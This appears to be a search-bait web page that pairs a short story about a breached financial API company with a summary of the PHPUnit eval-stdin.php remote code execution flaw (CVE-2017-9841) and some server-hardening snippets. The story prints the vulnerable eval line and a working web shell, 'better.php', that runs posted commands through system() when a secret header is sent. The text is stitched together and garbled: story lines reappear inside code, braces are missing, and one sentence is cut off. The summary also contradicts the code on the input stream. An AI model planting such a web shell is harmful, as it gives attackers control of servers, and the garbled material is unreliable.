Index Of Vendor Phpunit Phpunit Src Util Php Evalstdinphp Better May 2026

The Index of Forgotten Code

Lyra stared at the terminal. The breach alert had blinked twice, then gone silent—not fixed, but hidden. That was worse.

She worked for a company that built financial APIs. Their security was supposed to be airtight. But someone had found a backdoor, and the only clue was a log entry that read like a fever dream:

GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

She typed it into her browser, half-expecting a 404. Instead, the screen filled with a directory index—a raw, unfiltered map of the vendor folder.

Index of /vendor/phpunit/phpunit/src/Util/PHP/

• eval-stdin.php
• Template.php
• WindowsPhpProcess.php

Her blood went cold. eval-stdin.php was a known ghost—a testing utility from PHPUnit that allowed arbitrary code execution via standard input. It was never meant for production. But there it was, exposed like a loaded gun on a playground.

She clicked the file.

<?php
// PHPUnit never meant this to be public.
// But here we are.
eval('?>'.file_get_contents('php://stdin'));

Three lines. That’s all it took to destroy a company.

Lyra traced the access logs. The attacker hadn’t just found the file—they’d used it. POST requests to eval-stdin.php with base64-encoded payloads. System reconnaissance. Database dumps. A reverse shell that had been sleeping inside their cloud environment for eleven days.

She whispered to herself: “They have the keys to everything.”

But the strangest thing—the thing that kept her up at 3 a.m.—wasn’t the hack itself. It was another entry in the same directory index. A file that shouldn’t exist.

better.php

No one on the engineering team had created it. The timestamp matched the attacker’s first POST request. She opened it.

<?php
// better.php – You thought eval-stdin was the problem?
// The problem is that you trust old code.
// I fixed it for you.
if ($_SERVER['HTTP_X_IMPROVEMENT'] ?? false) 
system($_POST['cmd']);
 else 
echo "This could have been worse. Patch your vendor files.";
 The Index of Forgotten Code 
 Lyra stared at the terminal

It was a taunt. A signature. The attacker hadn’t just exploited the vulnerability—they’d improved it, then left a note. Better. As if they were doing Lyra a favor.

She called her lead, Devin. “We have an active compromise. The attacker left a custom backdoor.”

Devin laughed nervously. “Just delete the file.”

“It’s not that simple,” she said. “They had write access to the vendor directory. That means they could have modified Composer’s autoloader, injected code into any class, replaced the entire PHPUnit suite with a worm. The index of listing wasn’t a mistake—it was a message. They wanted us to see what they could have done.”

She paused.

“And they want us to know they chose not to. Yet.”

That night, Lyra traced the attacker’s steps backward. The breach originated from a CI/CD pipeline secret that had been logged in plaintext six months ago. From there, they’d gained SSH access to a staging server. Then production. Then the vendor folder.

But instead of ransomware, data theft, or destruction, they’d simply planted better.php and left.

Why?

She found the answer in a buried commit message, dated three weeks before the attack:

fix: remove eval-stdin.php from production build – why is this even here?!
Author: lyra@finapi.com

She had tried to fix it. She had pushed the change. But the deployment script ignored vendor exclusions, and PHPUnit was a dev dependency that somehow lingered in the production image like a curse.

The attacker wasn’t a villain. They were a proof.

They had found eval-stdin.php, realized it was a catastrophe waiting to happen, and instead of exploiting it for profit, they had:

1. Used it once to prove access.
2. Left a custom backdoor to show they could do worse.
3. Named it better.php to mock the incompetence of leaving such a file exposed.

And then—nothing. No stolen data. No crashed servers. Just a message, embedded in a directory index, waiting for someone like Lyra to find it. eval-stdin

She wrote a post-mortem titled: “The One Who Left a Backdoor Called ‘better.php’”

In it, she explained:

• Never, ever expose vendor directories to the web.
• Never include PHPUnit or any testing framework in production.
• Never assume an old vulnerability is gone just because you patched it—attackers read patch notes too.

But she also added a final, haunting line:

Whoever broke into our systems had total control for eleven days. They chose not to destroy us. Next time, we might not be so lucky. Or so ‘better.’

She never found out who it was. The IP was a Tor exit node. The user agent was fake. The only clue was the file itself—better.php—which she kept in an encrypted archive as a reminder.

Sometimes, late at night, she would run a static analyzer on their codebase, looking for other eval-stdin.php ghosts. And she would whisper the attacker’s strange, merciful taunt:

“This could have been worse.”

And she knew—deep in her bones—that they were right.

The search query refers to CVE-2017-9841, a critical remote code execution (RCE) vulnerability in the PHPUnit testing framework. This flaw exists because the eval-stdin.php file improperly uses the eval() function to execute raw PHP code provided via the php://input stream. Vulnerability Summary

Target File: vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Mechanism: Attackers can send an HTTP POST request containing PHP code (starting with ) directly to this publicly accessible URI to execute arbitrary commands on the server.

location ~ /vendor/ 
    deny all;
    return 404;

composer install --no-dev --optimize-autoloader

Options -Indexes

$className = 'App\\Dynamic\\' . $safeClassName;
if (class_exists($className)) 
    $instance = new $className();
    $instance->run();